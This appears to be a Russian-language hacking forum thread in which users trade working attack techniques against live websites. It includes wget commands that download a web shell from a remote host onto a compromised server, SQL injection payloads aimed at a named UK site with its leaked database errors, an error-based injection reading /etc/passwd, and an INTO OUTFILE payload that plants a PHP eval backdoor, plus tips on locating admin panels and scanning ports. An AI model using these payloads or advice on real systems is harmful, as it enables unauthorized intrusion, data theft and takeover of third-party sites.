1. Писать не -o, а -O (зааглавная). 2. Правильно писать так: wget http://shell.com/shell.txt -O shell.php -O - чтобы залить с другим именем. -o - вместо шелла заливает по заданному адресу РЕЗУЛЬТАТ ЗАЛИВКИ, т.е. это не то. А может прав нету? Проверь id; ls -la; Если и вправду прав нету, то ищи где есть и делай так: cd /tut/prava/0777/; wget http://xx.narod.ru/shell.txt -O shell.php или в -O укажи путь новый, т.е. чтобы cd не писать.
http://www.looplifter.co.uk/news.asp?id=5+and+1=(select+top+1+cast(table_name+as+int)+from+information_schema.columns)-- Я конечно понимаю что методом тыка, может что-то/когда-то получится, но всё же...Для начала узнайте что находится в базе information_schema и станет намного легче искать решения проблемы.
вот объясните (незнаком я с внутренним миром бд) впервые вижу такое сочетание: http://www.looplifter.co.uk/news.asp?id=5+and+1=(select+top+1+table_name+from+information_schema.columns)-- такой запрос что выводит? таблицу, колонку? вроде вывод ВСЕХ колонок бд имеет вид: http://www.looplifter.co.uk/news.asp?id=5+and+1=(select+top+1+column_name+from+information_schema.columns)-- вывод ВСЕХ таблиц бд имеет вид: http://www.looplifter.co.uk/news.asp?id=5+and+1=(select+top+1+table_name+from+information_schema.tables)--
pinch 1. слепая sql: http://www.looplifter.co.uk/news.asp?id=5 and '1'=(select 1) => так же как и при id=5 http://www.looplifter.co.uk/news.asp?id=5 and '1'=(select 2) => пусто 2. http://www.looplifter.co.uk/news.asp?id=5 and 0<(select db_name())-- => Microsoft OLE DB Provider for SQL Server error '80040e07' Syntax error converting the nvarchar value 'Looplifter' to a column of data type int. /news.asp, line 355 ==> не такая уж и слепая http://www.looplifter.co.uk/news.asp?id=5 and 0<(select count(*) from information_schema.columns)-- => так же как и при id=5 http://www.looplifter.co.uk/news.asp?id=5 and 0<(select count(*) from information_schema.tables)-- => пусто http://www.looplifter.co.uk/news.asp?id=5 and 0<(select count(*) from information_schema.columns) and '0'<(select count(*) from information_schema.tables)-- => пусто http://www.looplifter.co.uk/news.asp?id=5 and 0<(select count(*) from information_schema.columns) and '0'<(select 'count(*) from information_schema.tables')-- => так же как и при id=5 ==> наврятли там какой-то уж очень интеллектуальный фильтр, может просто запрещены права юзеру Looplifter на чтение information_schema.tables ?
народ есть ли альтернативный способ как найти админку? уже не первый раз сталкиваюсь с такой проблемой,пароль есть- а админку не найти .. программой делаю перебор стандартных админок типа admin,administrator,cms,admin_panel etc... результатов нет! есть ли другой способ ?
2Konqi http://madnet.name/tools/madss/ или юзай прогу IntelliTamper и еще попробуй пароль к хостеру если нету админки все таки... +проскань порты например панелька http://188.40.XX.XX:2222/
И еще раз возвращаясь к теме вывода данных в SQL-inj в ошибках. Правильно понимаю, что максимум можно вывести 64 символа чистых данных(единица в конце отбрасывается), и единственный выход - резать на подстроки?
есть шелл..там есть например папка www.xxx.com и там есть папки например тест1 тест2 и т.д/// тест1 drwxrwxrwx зеленый..тест2 красный.. в тест1 моjно все зделать а в тест2 нелзя ничево (едит уплоад) кояда откриваеш site автоматичецки откривается папка тест2..как зделат чтоби тест1 откривался..
есть вопрос насчет floor сделал запрос чтоб прочест файли на сервере: PHP: and (select 1 from (select count(0),concat((select+substring(load_file('/etc/passwd'),1,50) LIMIT 0,1),floor(rand(0)*3)) from information_schema.tables group by 2 limit 1,1)a)-- норм выводит но когда доходим до 494 символа то ничего не выводит. PHP: and (select 1 from (select count(0),concat((select+substring(load_file('/etc/passwd'),1,50) LIMIT 0,1),floor(rand(0)*3)) from information_schema.tables group by 2 limit 1,1)a)-- через chat_length проверил но там 677021 символов!!! Остальные файлы тоже читается до 494 символов. Тут на одного запроса пришлос писать 64символов так как floor большего режет. Но поэтапно тоже не больше 494 (( Правда запрос через хедер идет. Может кто обьяснит?? И вообше тут можно into outfile делать если прав есть?
Именно через floor хочешь? Ведь можно таким методом в подобных условиях лить: Code: +limit+1+into+outfile+'/путь_до_папки_доступной_на_запись/shell.php'+lines+terminated+by+"<?php+eval($_REQUEST[ec]);?>"--+
спс за ответ но не очень то понял тебя, в каких условиях гриш? Судя по запросу оно должно дополнят мой запрос? Хотя так не пашет